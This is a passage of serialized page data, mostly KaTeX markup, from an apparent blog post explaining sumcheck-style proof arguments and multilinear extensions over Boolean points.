ame":108654,"style":1657},[1549],[],{"type":23,"tag":481,"props":108657,"children":108659},{"className":108658},[1555],[108660,108665],{"type":23,"tag":481,"props":108661,"children":108663},{"className":108662,"style":91065},[1555,19086],[108664],{"type":28,"value":106830},{"type":23,"tag":481,"props":108666,"children":108668},{"className":108667},[1572],[108669],{"type":23,"tag":481,"props":108670,"children":108672},{"className":108671},[1577,19140],[108673,108702],{"type":23,"tag":481,"props":108674,"children":108676},{"className":108675},[1582],[108677,108697],{"type":23,"tag":481,"props":108678,"children":108680},{"className":108679,"style":91108},[1587],[108681],{"type":23,"tag":481,"props":108682,"children":108683},{"style":91112},[108684,108688],{"type":23,"tag":481,"props":108685,"children":108687},{"className":108686,"style":1597},[1596],[],{"type":23,"tag":481,"props":108689,"children":108691},{"className":108690},[1602,1603,1604,1605],[108692],{"type":23,"tag":481,"props":108693,"children":108695},{"className":108694},[1555,19086,1605],[108696],{"type":28,"value":1274},{"type":23,"tag":481,"props":108698,"children":108700},{"className":108699},[19243],[108701],{"type":28,"value":19246},{"type":23,"tag":481,"props":108703,"children":108705},{"className":108704},[1582],[108706],{"type":23,"tag":481,"props":108707,"children":108709},{"className":108708,"style":90662},[1587],[108710],{"type":23,"tag":481,"props":108711,"children":108712},{},[],{"type":23,"tag":481,"props":108714,"children":108716},{"className":108715},[19215],[108717],{"type":28,"value":618},{"type":23,"tag":481,"props":108719,"children":108721},{"className":108720},[1555],[108722,108727],{"type":23,"tag":481,"props":108723,"children":108725},{"className":108724,"style":90579},[1555,19086],[108726],{"type":28,"value":91398},{"type":23,"tag":481,"props":108728,"children":108730},{"className":108729},[1572],[108731],{"type":23,"tag":481,"props":108732,"children":108734},{"className":108733},[1577,19140],[108735,108764],{"type":23,"tag":481,"props":108736,"children":108738},{"className":108737},[1582],[108739,108759],{"type":23,"tag":481,"props":108740,"children":108742},{"className":108741,"style":91108},[1587],[108743],{"type":23,"tag":481,"props":108744,"children":108745},{"style":107578},[108746,108750],{"type":23,"tag":481,"props":108747,"children":108749},{"className":108748,"style":1597},[1596],[],{"type":23,"tag":481,"props":108751,"children":108753},{"className":108752},[1602,1603,1604,1605],[108754],{"type":23,"tag":481,"props":108755,"children":108757},{"className":108756},[1555,19086,1605],[108758],{"type":28,"value":1274},{"type":23,"tag":481,"props":108760,"children":108762},{"className":108761},[19243],[108763],{"type":28,"value":19246},{"type":23,"tag":481,"props":108765,"children":108767},{"className":108766},[1582],[108768],{"type":23,"tag":481,"props":108769,"children":108771},{"className":108770,"style":90662},[1587],[108772],{"type":23,"tag":481,"props":108773,"children":108774},{},[],{"type":23,"tag":481,"props":108776,"children":108778},{"className":108777},[19237],[108779],{"type":28,"value":642},{"type":23,"tag":481,"props":108781,"children":108783},{"className":108782,"style":1734},[1636],[],{"type":23,"tag":481,"props":108785,"children":108787},{"className":108786},[1739],[108788],{"type":28,"value":603},{"type":23,"tag":481,"props":108790,"children":108792},{"className":108791,"style":1734},[1636],[],{"type":23,"tag":481,"props":108794,"children":108796},{"className":108795},[1544],[108797,108801,108806,108810,108815],{"type":23,"tag":481,"props":108798,"children":108800},{"className":108799,"style":107734},[1549],[],{"type":23,"tag":481,"props":108802,"children":108804},{"className":108803},[1555,19086],[108805],{"type":28,"value":190},{"type":23,"tag":481,"props":108807,"children":108809},{"className":108808,"style":1637},[1636],[],{"type":23,"tag":481,"props":108811,"children":108813},{"className":108812},[1642],[108814],{"type":28,"value":1930},{"type":23,"tag":481,"props":108816,"children":108818},{"className":108817,"style":1637},[1636],[],{"type":23,"tag":481,"props":108820,"children":108822},{"className":108821},[1544],[108823,108827,108832,108836,108842],{"type":23,"tag":481,"props":108824,"children":108826},{"className":108825,"style":90494},[1549],[],{"type":23,"tag":481,"props":108828,"children":108830},{"className":108829},[1555,19086],[108831],{"type":28,"value":739},{"type":23,"tag":481,"props":108833,"children":108835},{"className":108834,"style":1637},[1636],[],{"type":23,"tag":481,"props":108837,"children":108839},{"className":108838},[1642],[108840],{"type":28,"value":108841},"⋅",{"type":23,"tag":481,"props":108843,"children":108845},{"className":108844,"style":1637},[1636],[],{"type":23,"tag":481,"props":108847,"children":108849},{"className":108848},[1544],[108850,108854,108911,108915,108920],{"type":23,"tag":481,"props":108851,"children":108853},{"className":108852,"style":107549},[1549],[],{"type":23,"tag":481,"props":108855,"children":108857},{"className":108856},[1555],[108858,108863],{"type":23,"tag":481,"props":108859,"children":108861},{"className":108860,"style":90579},[1555,19086],[108862],{"type":28,"value":91398},{"type":23,"tag":481,"props":108864,"children":108866},{"className":108865},[1572],[108867],{"type":23,"tag":481,"props":108868,"children":108870},{"className":108869},[1577,19140],[108871,108900],{"type":23,"tag":481,"props":108872,"children":108874},{"className":108873},[1582],[108875,108895],{"type":23,"tag":481,"props":108876,"children":108878},{"className":108877,"style":91108},[1587],[108879],{"type":23,"tag":481,"props":108880,"children":108881},{"style":107578},[108882,108886],{"type":23,"tag":481,"props":108883,"children":108885},{"className":108884,"style":1597},[1596],[],{"type":23,"tag":481,"props":108887,"children":108889},{"className":108888},[1602,1603,1604,1605],[108890],{"type":23,"tag":481,"props":108891,"children":108893},{"className":108892},[1555,19086,1605],[108894],{"type":28,"value":1274},{"type":23,"tag":481,"props":108896,"children":108898},{"className":108897},[19243],[108899],{"type":28,"value":19246},{"type":23,"tag":481,"props":108901,"children":108903},{"className":108902},[1582],[108904],{"type":23,"tag":481,"props":108905,"children":108907},{"className":108906,"style":90662},[1587],[108908],{"type":23,"tag":481,"props":108909,"children":108910},{},[],{"type":23,"tag":481,"props":108912,"children":108914},{"className":108913,"style":1734},[1636],[],{"type":23,"tag":481,"props":108916,"children":108918},{"className":108917},[1739],[108919],{"type":28,"value":603},{"type":23,"tag":481,"props":108921,"children":108923},{"className":108922,"style":1734},[1636],[],{"type":23,"tag":481,"props":108925,"children":108927},{"className":108926},[1544],[108928,108932,108937,108941,108946],{"type":23,"tag":481,"props":108929,"children":108931},{"className":108930,"style":107734},[1549],[],{"type":23,"tag":481,"props":108933,"children":108935},{"className":108934},[1555,19086],[108936],{"type":28,"value":190},{"type":23,"tag":481,"props":108938,"children":108940},{"className":108939,"style":1637},[1636],[],{"type":23,"tag":481,"props":108942,"children":108944},{"className":108943},[1642],[108945],{"type":28,"value":1930},{"type":23,"tag":481,"props":108947,"children":108949},{"className":108948,"style":1637},[1636],[],{"type":23,"tag":481,"props":108951,"children":108953},{"className":108952},[1544],[108954,108958,108963,109034,109038,109043],{"type":23,"tag":481,"props":108955,"children":108957},{"className":108956,"style":1657},[1549],[],{"type":23,"tag":481,"props":108959,"children":108961},{"className":108960},[19215],[108962],{"type":28,"value":618},{"type":23,"tag":481,"props":108964,"children":108966},{"className":108965},[1555],[108967,108972],{"type":23,"tag":481,"props":108968,"children":108970},{"className":108969,"style":90813},[1555,19086],[108971],{"type":28,"value":90816},{"type":23,"tag":481,"props":108973,"children":108975},{"className":108974},[1572],[108976],{"type":23,"tag":481,"props":108977,"children":108979},{"className":108978},[1577,19140],[108980,109023],{"type":23,"tag":481,"props":108981,"children":108983},{"className":108982},[1582],[108984,109018],{"type":23,"tag":481,"props":108985,"children":108987},{"className":108986,"style":91108},[1587],[108988],{"type":23,"tag":481,"props":108989,"children":108990},{"style":108008},[108991,108995],{"type":23,"tag":481,"props":108992,"children":108994},{"className":108993,"style":1597},[1596],[],{"type":23,"tag":481,"props":108996,"children":108998},{"className":108997},[1602,1603,1604,1605],[108999],{"type":23,"tag":481,"props":109000,"children":109002},{"className":109001},[1555,1605],[109003,109008,109013],{"type":23,"tag":481,"props":109004,"children":109006},{"className":109005},[1555,19086,1605],[109007],{"type":28,"value":1274},{"type":23,"tag":481,"props":109009,"children":109011},{"className":109010},[1642,1605],[109012],{"type":28,"value":1616},{"type":23,"tag":481,"props":109014,"children":109016},{"className":109015},[1555,1605],[109017],{"type":28,"value":1558},{"type":23,"tag":481,"props":109019,"children":109021},{"className":109020},[19243],[109022],{"type":28,"value":19246},{"type":23,"tag":481,"props":109024,"children":109026},{"className":109025},[1582],[109027],{"type":23,"tag":481,"props":109028,"children":109030},{"className":109029,"style":108049},[1587],[109031],{"type":23,"tag":481,"props":109032,"children":109033},{},[],{"type":23,"tag":481,"props":109035,"children":109037},{"className":109036,"style":1637},[1636],[],{"type":23,"tag":481,"props":109039,"children":109041},{"className":109040},[1642],[109042],{"type":28,"value":1616},{"type":23,"tag":481,"props":109044,"children":109046},{"className":109045,"style":1637},[1636],[],{"type":23,"tag":481,"props":109048,"children":109050},{"className":109049},[1544],[109051,109055,109060,109065,109070,109074,109079],{"type":23,"tag":481,"props":109052,"children":109054},{"className":109053,"style":1657},[1549],[],{"type":23,"tag":481,"props":109056,"children":109058},{"className":109057},[1555],[109059],{"type":28,"value":637},{"type":23,"tag":481,"props":109061,"children":109063},{"className":109062},[1555,19086],[109064],{"type":28,"value":190},{"type":23,"tag":481,"props":109066,"children":109068},{"className":109067},[19237],[109069],{"type":28,"value":642},{"type":23,"tag":481,"props":109071,"children":109073},{"className":109072,"style":1637},[1636],[],{"type":23,"tag":481,"props":109075,"children":109077},{"className":109076},[1642],[109078],{"type":28,"value":108841},{"type":23,"tag":481,"props":109080,"children":109082},{"className":109081,"style":1637},[1636],[],{"type":23,"tag":481,"props":109084,"children":109086},{"className":109085},[1544],[109087,109091,109148,109152,109157],{"type":23,"tag":481,"props":109088,"children":109090},{"className":109089,"style":107549},[1549],[],{"type":23,"tag":481,"props":109092,"children":109094},{"className":109093},[1555],[109095,109100],{"type":23,"tag":481,"props":109096,"children":109098},{"className":109097,"style":90579},[1555,19086],[109099],{"type":28,"value":91398},{"type":23,"tag":481,"props":109101,"children":109103},{"className":109102},[1572],[109104],{"type":23,"tag":481,"props":109105,"children":109107},{"className":109106},[1577,19140],[109108,109137],{"type":23,"tag":481,"props":109109,"children":109111},{"className":109110},[1582],[109112,109132],{"type":23,"tag":481,"props":109113,"children":109115},{"className":109114,"style":91108},[1587],[109116],{"type":23,"tag":481,"props":109117,"children":109118},{"style":107578},[109119,109123],{"type":23,"tag":481,"props":109120,"children":109122},{"className":109121,"style":1597},[1596],[],{"type":23,"tag":481,"props":109124,"children":109126},{"className":109125},[1602,1603,1604,1605],[109127],{"type":23,"tag":481,"props":109128,"children":109130},{"className":109129},[1555,19086,1605],[109131],{"type":28,"value":1274},{"type":23,"tag":481,"props":109133,"children":109135},{"className":109134},[19243],[109136],{"type":28,"value":19246},{"type":23,"tag":481,"props":109138,"children":109140},{"className":109139},[1582],[109141],{"type":23,"tag":481,"props":109142,"children":109144},{"className":109143,"style":90662},[1587],[109145],{"type":23,"tag":481,"props":109146,"children":109147},{},[],{"type":23,"tag":481,"props":109149,"children":109151},{"className":109150,"style":1734},[1636],[],{"type":23,"tag":481,"props":109153,"children":109155},{"className":109154},[1739],[109156],{"type":28,"value":603},{"type":23,"tag":481,"props":109158,"children":109160},{"className":109159,"style":1734},[1636],[],{"type":23,"tag":481,"props":109162,"children":109164},{"className":109163},[1544],[109165,109169,109174,109179,109184,109188,109193],{"type":23,"tag":481,"props":109166,"children":109168},{"className":109167,"style":1657},[1549],[],{"type":23,"tag":481,"props":109170,"children":109172},{"className":109171},[1555,19086],[109173],{"type":28,"value":190},{"type":23,"tag":481,"props":109175,"children":109177},{"className":109176},[19215],[109178],{"type":28,"value":618},{"type":23,"tag":481,"props":109180,"children":109182},{"className":109181},[1555],[109183],{"type":28,"value":1558},{"type":23,"tag":481,"props":109185,"children":109187},{"className":109186,"style":1637},[1636],[],{"type":23,"tag":481,"props":109189,"children":109191},{"className":109190},[1642],[109192],{"type":28,"value":1616},{"type":23,"tag":481,"props":109194,"children":109196},{"className":109195,"style":1637},[1636],[],{"type":23,"tag":481,"props":109198,"children":109200},{"className":109199},[1544],[109201,109205,109210,109267,109272,109276,109281],{"type":23,"tag":481,"props":109202,"children":109204},{"className":109203,"style":1657},[1549],[],{"type":23,"tag":481,"props":109206,"children":109208},{"className":109207},[1555],[109209],{"type":28,"value":637},{"type":23,"tag":481,"props":109211,"children":109213},{"className":109212},[1555],[109214,109219],{"type":23,"tag":481,"props":109215,"children":109217},{"className":109216,"style":90579},[1555,19086],[109218],{"type":28,"value":91398},{"type":23,"tag":481,"props":109220,"children":109222},{"className":109221},[1572],[109223],{"type":23,"tag":481,"props":109224,"children":109226},{"className":109225},[1577,19140],[109227,109256],{"type":23,"tag":481,"props":109228,"children":109230},{"className":109229},[1582],[109231,109251],{"type":23,"tag":481,"props":109232,"children":109234},{"className":109233,"style":91108},[1587],[109235],{"type":23,"tag":481,"props":109236,"children":109237},{"style":107578},[109238,109242],{"type":23,"tag":481,"props":109239,"children":109241},{"className":109240,"style":1597},[1596],[],{"type":23,"tag":481,"props":109243,"children":109245},{"className":109244},[1602,1603,1604,1605],[109246],{"type":23,"tag":481,"props":109247,"children":109249},{"className":109248},[1555,19086,1605],[109250],{"type":28,"value":1274},{"type":23,"tag":481,"props":109252,"children":109254},{"className":109253},[19243],[109255],{"type":28,"value":19246},{"type":23,"tag":481,"props":109257,"children":109259},{"className":109258},[1582],[109260],{"type":23,"tag":481,"props":109261,"children":109263},{"className":109262,"style":90662},[1587],[109264],{"type":23,"tag":481,"props":109265,"children":109266},{},[],{"type":23,"tag":481,"props":109268,"children":109270},{"className":109269},[19237],[109271],{"type":28,"value":642},{"type":23,"tag":481,"props":109273,"children":109275},{"className":109274,"style":1637},[1636],[],{"type":23,"tag":481,"props":109277,"children":109279},{"className":109278},[1642],[109280],{"type":28,"value":1930},{"type":23,"tag":481,"props":109282,"children":109284},{"className":109283,"style":1637},[1636],[],{"type":23,"tag":481,"props":109286,"children":109288},{"className":109287},[1544],[109289,109293,109364,109368,109373],{"type":23,"tag":481,"props":109290,"children":109292},{"className":109291,"style":107979},[1549],[],{"type":23,"tag":481,"props":109294,"children":109296},{"className":109295},[1555],[109297,109302],{"type":23,"tag":481,"props":109298,"children":109300},{"className":109299,"style":90813},[1555,19086],[109301],{"type":28,"value":90816},{"type":23,"tag":481,"props":109303,"children":109305},{"className":109304},[1572],[109306],{"type":23,"tag":481,"props":109307,"children":109309},{"className":109308},[1577,19140],[109310,109353],{"type":23,"tag":481,"props":109311,"children":109313},{"className":109312},[1582],[109314,109348],{"type":23,"tag":481,"props":109315,"children":109317},{"className":109316,"style":91108},[1587],[109318],{"type":23,"tag":481,"props":109319,"children":109320},{"style":108008},[109321,109325],{"type":23,"tag":481,"props":109322,"children":109324},{"className":109323,"style":1597},[1596],[],{"type":23,"tag":481,"props":109326,"children":109328},{"className":109327},[1602,1603,1604,1605],[109329],{"type":23,"tag":481,"props":109330,"children":109332},{"className":109331},[1555,1605],[109333,109338,109343],{"type":23,"tag":481,"props":109334,"children":109336},{"className":109335},[1555,19086,1605],[109337],{"type":28,"value":1274},{"type":23,"tag":481,"props":109339,"children":109341},{"className":109340},[1642,1605],[109342],{"type":28,"value":1616},{"type":23,"tag":481,"props":109344,"children":109346},{"className":109345},[1555,1605],[109347],{"type":28,"value":1558},{"type":23,"tag":481,"props":109349,"children":109351},{"className":109350},[19243],[109352],{"type":28,"value":19246},{"type":23,"tag":481,"props":109354,"children":109356},{"className":109355},[1582],[109357],{"type":23,"tag":481,"props":109358,"children":109360},{"className":109359,"style":108049},[1587],[109361],{"type":23,"tag":481,"props":109362,"children":109363},{},[],{"type":23,"tag":481,"props":109365,"children":109367},{"className":109366,"style":1637},[1636],[],{"type":23,"tag":481,"props":109369,"children":109371},{"className":109370},[1642],[109372],{"type":28,"value":108841},{"type":23,"tag":481,"props":109374,"children":109376},{"className":109375,"style":1637},[1636],[],{"type":23,"tag":481,"props":109378,"children":109380},{"className":109379},[1544],[109381,109385],{"type":23,"tag":481,"props":109382,"children":109384},{"className":109383,"style":107549},[1549],[],{"type":23,"tag":481,"props":109386,"children":109388},{"className":109387},[1555],[109389,109394],{"type":23,"tag":481,"props":109390,"children":109392},{"className":109391,"style":90579},[1555,19086],[109393],{"type":28,"value":91398},{"type":23,"tag":481,"props":109395,"children":109397},{"className":109396},[1572],[109398],{"type":23,"tag":481,"props":109399,"children":109401},{"className":109400},[1577,19140],[109402,109431],{"type":23,"tag":481,"props":109403,"children":109405},{"className":109404},[1582],[109406,109426],{"type":23,"tag":481,"props":109407,"children":109409},{"className":109408,"style":91108},[1587],[109410],{"type":23,"tag":481,"props":109411,"children":109412},{"style":107578},[109413,109417],{"type":23,"tag":481,"props":109414,"children":109416},{"className":109415,"style":1597},[1596],[],{"type":23,"tag":481,"props":109418,"children":109420},{"className":109419},[1602,1603,1604,1605],[109421],{"type":23,"tag":481,"props":109422,"children":109424},{"className":109423},[1555,19086,1605],[109425],{"type":28,"value":1274},{"type":23,"tag":481,"props":109427,"children":109429},{"className":109428},[19243],[109430],{"type":28,"value":19246},{"type":23,"tag":481,"props":109432,"children":109434},{"className":109433},[1582],[109435],{"type":23,"tag":481,"props":109436,"children":109438},{"className":109437,"style":90662},[1587],[109439],{"type":23,"tag":481,"props":109440,"children":109441},{},[],{"type":23,"tag":24,"props":109443,"children":109444},{},[109445,109446,109542,109544,109569,109571,109596],{"type":28,"value":43660},{"type":23,"tag":2875,"props":109447,"children":109448},{},[109449,109451],{"type":28,"value":109450},"linear in ",{"type":23,"tag":64,"props":109452,"children":109454},{"className":109453},[1527,1528],[109455],{"type":23,"tag":481,"props":109456,"children":109458},{"className":109457},[1533],[109459],{"type":23,"tag":481,"props":109460,"children":109462},{"className":109461,"ariaHidden":1539},[1538],[109463],{"type":23,"tag":481,"props":109464,"children":109466},{"className":109465},[1544],[109467,109471],{"type":23,"tag":481,"props":109468,"children":109470},{"className":109469,"style":107979},[1549],[],{"type":23,"tag":481,"props":109472,"children":109474},{"className":109473},[1555],[109475,109480],{"type":23,"tag":481,"props":109476,"children":109478},{"className":109477,"style":90813},[1555,19086],[109479],{"type":28,"value":90816},{"type":23,"tag":481,"props":109481,"children":109483},{"className":109482},[1572],[109484],{"type":23,"tag":481,"props":109485,"children":109487},{"className":109486},[1577,19140],[109488,109531],{"type":23,"tag":481,"props":109489,"children":109491},{"className":109490},[1582],[109492,109526],{"type":23,"tag":481,"props":109493,"children":109495},{"className":109494,"style":91108},[1587],[109496],{"type":23,"tag":481,"props":109497,"children":109498},{"style":108008},[109499,109503],{"type":23,"tag":481,"props":109500,"children":109502},{"className":109501,"style":1597},[1596],[],{"type":23,"tag":481,"props":109504,"children":109506},{"className":109505},[1602,1603,1604,1605],[109507],{"type":23,"tag":481,"props":109508,"children":109510},{"className":109509},[1555,1605],[109511,109516,109521],{"type":23,"tag":481,"props":109512,"children":109514},{"className":109513},[1555,19086,1605],[109515],{"type":28,"value":1274},{"type":23,"tag":481,"props":109517,"children":109519},{"className":109518},[1642,1605],[109520],{"type":28,"value":1616},{"type":23,"tag":481,"props":109522,"children":109524},{"className":109523},[1555,1605],[109525],{"type":28,"value":1558},{"type":23,"tag":481,"props":109527,"children":109529},{"className":109528},[19243],[109530],{"type":28,"value":19246},{"type":23,"tag":481,"props":109532,"children":109534},{"className":109533},[1582],[109535],{"type":23,"tag":481,"props":109536,"children":109538},{"className":109537,"style":108049},[1587],[109539],{"type":23,"tag":481,"props":109540,"children":109541},{},[],{"type":28,"value":109543},"! By induction, the final claim is linear in the original ",{"type":23,"tag":64,"props":109545,"children":109547},{"className":109546},[1527,1528],[109548],{"type":23,"tag":481,"props":109549,"children":109551},{"className":109550},[1533],[109552],{"type":23,"tag":481,"props":109553,"children":109555},{"className":109554,"ariaHidden":1539},[1538],[109556],{"type":23,"tag":481,"props":109557,"children":109559},{"className":109558},[1544],[109560,109564],{"type":23,"tag":481,"props":109561,"children":109563},{"className":109562,"style":19081},[1549],[],{"type":23,"tag":481,"props":109565,"children":109567},{"className":109566,"style":90813},[1555,19086],[109568],{"type":28,"value":90816},{"type":28,"value":109570},". If ",{"type":23,"tag":64,"props":109572,"children":109574},{"className":109573},[1527,1528],[109575],{"type":23,"tag":481,"props":109576,"children":109578},{"className":109577},[1533],[109579],{"type":23,"tag":481,"props":109580,"children":109582},{"className":109581,"ariaHidden":1539},[1538],[109583],{"type":23,"tag":481,"props":109584,"children":109586},{"className":109585},[1544],[109587,109591],{"type":23,"tag":481,"props":109588,"children":109590},{"className":109589,"style":19081},[1549],[],{"type":23,"tag":481,"props":109592,"children":109594},{"className":109593,"style":90813},[1555,19086],[109595],{"type":28,"value":90816},{"type":28,"value":109597}," isn't in the transcript, we can solve for it.",{"type":23,"tag":7092,"props":109599,"children":109601},{"id":109600},"multilinear-extensions-mles",[109602],{"type":28,"value":109603},"Multilinear Extensions (MLEs)",{"type":23,"tag":24,"props":109605,"children":109606},{},[109607,109609,109694],{"type":28,"value":109608},"An MLE is just the polynomial view of a table over ",{"type":23,"tag":64,"props":109610,"children":109612},{"className":109611},[1527,1528],[109613],{"type":23,"tag":481,"props":109614,"children":109616},{"className":109615},[1533],[109617],{"type":23,"tag":481,"props":109618,"children":109620},{"className":109619,"ariaHidden":1539},[1538],[109621],{"type":23,"tag":481,"props":109622,"children":109624},{"className":109623},[1544],[109625,109629,109634,109639,109644,109648,109653],{"type":23,"tag":481,"props":109626,"children":109628},{"className":109627,"style":1657},[1549],[],{"type":23,"tag":481,"props":109630,"children":109632},{"className":109631},[19215],[109633],{"type":28,"value":74150},{"type":23,"tag":481,"props":109635,"children":109637},{"className":109636},[1555],[109638],{"type":28,"value":1568},{"type":23,"tag":481,"props":109640,"children":109642},{"className":109641},[1668],[109643],{"type":28,"value":1671},{"type":23,"tag":481,"props":109645,"children":109647},{"className":109646,"style":1675},[1636],[],{"type":23,"tag":481,"props":109649,"children":109651},{"className":109650},[1555],[109652],{"type":28,"value":1558},{"type":23,"tag":481,"props":109654,"children":109656},{"className":109655},[19237],[109657,109662],{"type":23,"tag":481,"props":109658,"children":109660},{"className":109659},[19237],[109661],{"type":28,"value":31657},{"type":23,"tag":481,"props":109663,"children":109665},{"className":109664},[1572],[109666],{"type":23,"tag":481,"props":109667,"children":109669},{"className":109668},[1577],[109670],{"type":23,"tag":481,"props":109671,"children":109673},{"className":109672},[1582],[109674],{"type":23,"tag":481,"props":109675,"children":109677},{"className":109676,"style":106296},[1587],[109678],{"type":23,"tag":481,"props":109679,"children":109680},{"style":1591},[109681,109685],{"type":23,"tag":481,"props":109682,"children":109684},{"className":109683,"style":1597},[1596],[],{"type":23,"tag":481,"props":109686,"children":109688},{"className":109687},[1602,1603,1604,1605],[109689],{"type":23,"tag":481,"props":109690,"children":109692},{"className":109691},[1555,19086,1605],[109693],{"type":28,"value":53930},{"type":28,"value":109695},": it matches the table on Boolean points and extends it to field points.",{"type":23,"tag":24,"props":109697,"children":109698},{},[109699],{"type":28,"value":109700},"For this post, the only property you need is:",{"type":23,"tag":24,"props":109702,"children":109703},{},[109704],{"type":23,"tag":64,"props":109705,"children":109707},{"className":109706},[1527,1528],[109708],{"type":23,"tag":481,"props":109709,"children":109711},{"className":109710},[1533],[109712],{"type":23,"tag":481,"props":109713,"children":109715},{"className":109714,"ariaHidden":1539},[1538],[109716,109878,110150],{"type":23,"tag":481,"props":109717,"children":109719},{"className":109718},[1544],[109720,109725,109794,109799,109860,109865,109869,109874],{"type":23,"tag":481,"props":109721,"children":109724},{"className":109722,"style":109723},[1549],"height:1.1813em;vertical-align:-0.25em;",[],{"type":23,"tag":481,"props":109726,"children":109729},{"className":109727},[1555,109728],"accent",[109730],{"type":23,"tag":481,"props":109731,"children":109733},{"className":109732},[1577,19140],[109734,109782],{"type":23,"tag":481,"props":109735,"children":109737},{"className":109736},[1582],[109738,109777],{"type":23,"tag":481,"props":109739,"children":109742},{"className":109740,"style":109741},[1587],"height:0.9313em;",[109743,109757],{"type":23,"tag":481,"props":109744,"children":109746},{"style":109745},"top:-3em;",[109747,109752],{"type":23,"tag":481,"props":109748,"children":109751},{"className":109749,"style":109750},[1596],"height:3em;",[],{"type":23,"tag":481,"props":109753,"children":109755},{"className":109754,"style":92933},[1555,19086],[109756],{"type":28,"value":30601},{"type":23,"tag":481,"props":109758,"children":109760},{"style":109759},"top:-3.6134em;",[109761,109765],{"type":23,"tag":481,"props":109762,"children":109764},{"className":109763,"style":109750},[1596],[],{"type":23,"tag":481,"props":109766,"children":109770},{"className":109767,"style":109769},[109768],"accent-body","left:-0.0833em;",[109771],{"type":23,"tag":481,"props":109772,"children":109774},{"className":109773},[1555],[109775],{"type":28,"value":109776},"~",{"type":23,"tag":481,"props":109778,"children":109780},{"className":109779},[19243],[109781],{"type":28,"value":19246},{"type":23,"tag":481,"props":109783,"children":109785},{"className":109784},[1582],[109786],{"type":23,"tag":481,"props":109787,"children":109790},{"className":109788,"style":109789},[1587],"height:0.1944em;",[109791],{"type":23,"tag":481,"props":109792,"children":109793},{},[],{"type":23,"tag":481,"props":109795,"children":109797},{"className":109796},[19215],[109798],{"type":28,"value":618},{"type":23,"tag":481,"props":109800,"children":109802},{"className":109801},[1555,109728],[109803],{"type":23,"tag":481,"props":109804,"children":109806},{"className":109805},[1577],[109807],{"type":23,"tag":481,"props":109808,"children":109810},{"className":109809},[1582],[109811],{"type":23,"tag":481,"props":109812,"children":109815},{"className":109813,"style":109814},[1587],"height:0.714em;",[109816,109828],{"type":23,"tag":481,"props":109817,"children":109818},{"style":109745},[109819,109823],{"type":23,"tag":481,"props":109820,"children":109822},{"className":109821,"style":109750},[1596],[],{"type":23,"tag":481,"props":109824,"children":109826},{"className":109825,"style":90579},[1555,19086],[109827],{"type":28,"value":91398},{"type":23,"tag":481,"props":109829,"children":109830},{"style":109745},[109831,109835],{"type":23,"tag":481,"props":109832,"children":109834},{"className":109833,"style":109750},[1596],[],{"type":23,"tag":481,"props":109836,"children":109839},{"className":109837,"style":109838},[109768],"left:-0.1799em;",[109840],{"type":23,"tag":481,"props":109841,"children":109845},{"className":109842,"style":109844},[109843],"overlay","height:0.714em;width:0.471em;",[109846],{"type":23,"tag":31790,"props":109847,"children":109854},{"xmlns":109848,"width":109849,"height":109850,"style":109851,"viewBox":109852,"preserveAspectRatio":109853},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[109855],{"type":23,"tag":109856,"props":109857,"children":109859},"path",{"d":109858},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":23,"tag":481,"props":109861,"children":109863},{"className":109862},[19237],[109864],{"type":28,"value":642},{"type":23,"tag":481,"props":109866,"children":109868},{"className":109867,"style":1734},[1636],[],{"type":23,"tag":481,"props":109870,"children":109872},{"className":109871},[1739],[109873],{"type":28,"value":603},{"type":23,"tag":481,"props":109875,"children":109877},{"className":109876,"style":1734},[1636],[],{"type":23,"tag":481,"props":109879,"children":109881},{"className":109880},[1544],[109882,109887,110068,110072,110077,110082,110132,110137,110141,110146],{"type":23,"tag":481,"props":109883,"children":109886},{"className":109884,"style":109885},[1549],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":23,"tag":481,"props":109888,"children":109890},{"className":109889},[19122],[109891,109896],{"type":23,"tag":481,"props":109892,"children":109894},{"className":109893,"style":19129},[19122,19127,19128],[109895],{"type":28,"value":106374},{"type":23,"tag":481,"props":109897,"children":109899},{"className":109898},[1572],[109900],{"type":23,"tag":481,"props":109901,"children":109903},{"className":109902},[1577,19140],[109904,110056],{"type":23,"tag":481,"props":109905,"children":109907},{"className":109906},[1582],[109908,110051],{"type":23,"tag":481,"props":109909,"children":109912},{"className":109910,"style":109911},[1587],"height:0.3448em;",[109913],{"type":23,"tag":481,"props":109914,"children":109916},{"style":109915},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[109917,109921],{"type":23,"tag":481,"props":109918,"children":109920},{"className":109919,"style":1597},[1596],[],{"type":23,"tag":481,"props":109922,"children":109924},{"className":109923},[1602,1603,1604,1605],[109925],{"type":23,"tag":481,"props":109926,"children":109928},{"className":109927},[1555,1605],[109929,109983,109988,109993,109998,110003,110008],{"type":23,"tag":481,"props":109930,"children":109932},{"className":109931},[1555,109728,1605],[109933],{"type":23,"tag":481,"props":109934,"children":109936},{"className":109935},[1577],[109937],{"type":23,"tag":481,"props":109938,"children":109940},{"className":109939},[1582],[109941],{"type":23,"tag":481,"props":109942,"children":109945},{"className":109943,"style":109944},[1587],"height:0.9774em;",[109946,109960],{"type":23,"tag":481,"props":109947,"children":109949},{"style":109948},"top:-2.714em;",[109950,109955],{"type":23,"tag":481,"props":109951,"children":109954},{"className":109952,"style":109953},[1596],"height:2.714em;",[],{"type":23,"tag":481,"props":109956,"children":109958},{"className":109957},[1555,19086,1605],[109959],{"type":28,"value":739},{"type":23,"tag":481,"props":109961,"children":109963},{"style":109962},"top:-2.9774em;",[109964,109968],{"type":23,"tag":481,"props":109965,"children":109967},{"className":109966,"style":109953},[1596],[],{"type":23,"tag":481,"props":109969,"children":109972},{"className":109970,"style":109971},[109768],"left:-0.2355em;",[109973],{"type":23,"tag":481,"props":109974,"children":109976},{"className":109975,"style":109844},[109843,1605],[109977],{"type":23,"tag":31790,"props":109978,"children":109979},{"xmlns":109848,"width":109849,"height":109850,"style":109851,"viewBox":109852,"preserveAspectRatio":109853},[109980],{"type":23,"tag":109